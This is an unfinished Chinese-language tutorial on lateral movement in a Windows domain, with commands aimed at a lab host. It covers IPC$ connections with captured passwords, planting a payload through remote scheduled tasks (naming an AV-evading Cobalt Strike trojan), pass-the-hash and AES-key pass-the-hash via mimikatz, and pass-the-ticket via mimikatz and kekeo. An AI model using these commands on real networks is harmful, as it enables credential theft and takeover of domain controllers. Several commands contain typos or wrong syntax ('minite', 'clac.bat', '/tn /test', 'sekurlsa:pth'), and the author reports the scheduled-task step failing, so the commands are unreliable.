前言
域横向移动的内容简单总结一下,还没结束,,,还有其它手段和手法,以及还有其它工具
远程桌面
3389开启条件下,远程桌面连接
需要知道用户名以及密码

如果未开启远程桌面,需要开启远程桌面,命令可开启,但是可能防火墙会拦截
利用IPC
无法远程桌面
利用条件目标开启端口445 135
已经抓取到用户名以及密码
net use \\192.168.1.10\IPC$ "AD@123456" /user:administrator 建立ipc管道

dir \\192.168.1.10\c$

映射磁盘
net use e: \\192.168.1.10\c$ //映射磁盘


目标主机磁盘成功映射
net use e: /del //删除磁盘映射
计划任务
net time \\192.168.1.10

cs生成木马,做免杀后上线。这里以calc
复现,制作可执行文件calc.bat
,内容calc.exe

copy calc.bat \\192.168.1.10\c$ //复制文件到域控主机
dir \\192.168.1.10\c$ //列出文件

设置计划任务
at \\192.168.1.10 17:30 C:calc.bat
windows server 2012
的计划任务已经不支持at
命令,使用schtasks.exe
schtasks.exe /create /tn /test /s 192.168.1.10 /tr c:clac.bat /sc minite /st 17:50 /mo 1
解释一波
/sc 计划类型:minute, hourly, daily, weekly, monthly, once, onstart, onlogon, onidle, onevent
/mo 计划频率 用数字表示
/tn taskname 指定计划任务的名称
/tr taskrun 指定计划任务运行的程序路径和文件名,比如c:\windows\system32\calc.exe
/st starttime 指定任务的开始时间
/et endtime 指定任务的结束时间
/sd startdate 指定任务的开始日期,格式是 yyyy/mm/dd,比如2021/03/14,默认值为当前日期
/ed enddate 指定任务的结束日期,格式是 yyyy/mm/dd
这里设置计划名称test ,远程地址192.168.1.10,指定计划任务运行的路径名称 c盘下的calc.bat,计划类型为minute,计划频率1分钟

不知道为什么一直拒绝访问,按道理测试的计划任务应该是写成功的,防火墙的原因肯定是排除的,另外强制创建定时任务依旧是拒绝服务。但是思路依旧是这个思路。
schtasks.exe /create /tn /test /s 192.168.1.10 /tr c:clac.bat /sc minite /st 17:50 /mo 1 /f
哈希传递
条件:无需获取域控主机的账号密码
需要拥有拥有子域服务器的权限,且两者的哈希值是一致的,通过传递哈希值来实现传入账号密码
- 使用获取到的ntlm值进行哈希传递,通过实现对域控主机权限的访问
mimikatz.exe "privilege::debug" "sekurlsa:pth /user:administrator /domain:betta.domain /ntlm:xxxxxxxxxxxxxxxxx "
使用AES-256实现哈希传递
条件需要安装补丁KB2871997
mimikatz.exe "privilege::debug" "sekurlsa:ekeys"
mimikatz.exe "privilege::debug" "sekurlsa:pth /user:administrator /domain:betta.domain /aes256:xxxxxxxxxxxxxxxxx "
票据传递
利用mimikatz将内存票据导出
mimikatz:sekurlsa::tickets /export

将票据注入内存,然后访问远程主机文件目录
mimikatz.exe "kerberos::ptt "路径xxxxxxx.xxxx.kiribi" //票据注入内存
dir \\192.168.1.10\c$ //横向访问文件
无需使用本机管理员权限。
使用ntlm生成票据文件,进行票据传递。
kekeo "tgt::ask /user:administrator /domain:betta.domain /ntlm:xxxxxxxxxxxxxxxxxxxxxx" //生成票据文件
kerberos:ptt "路径xxxxxxxxxxxxxxxxx.xxxx.kirbi" //将票据导入内存
dir \\192.168.1.10\c$ //访问目录
tools
使用工具metasploit中的模块psexec
其它命令使用
WMI
需要先获取账户名以及密码
建立ipc命令管道
远程连接读取文件
缺点:
<!-----未完待续------!>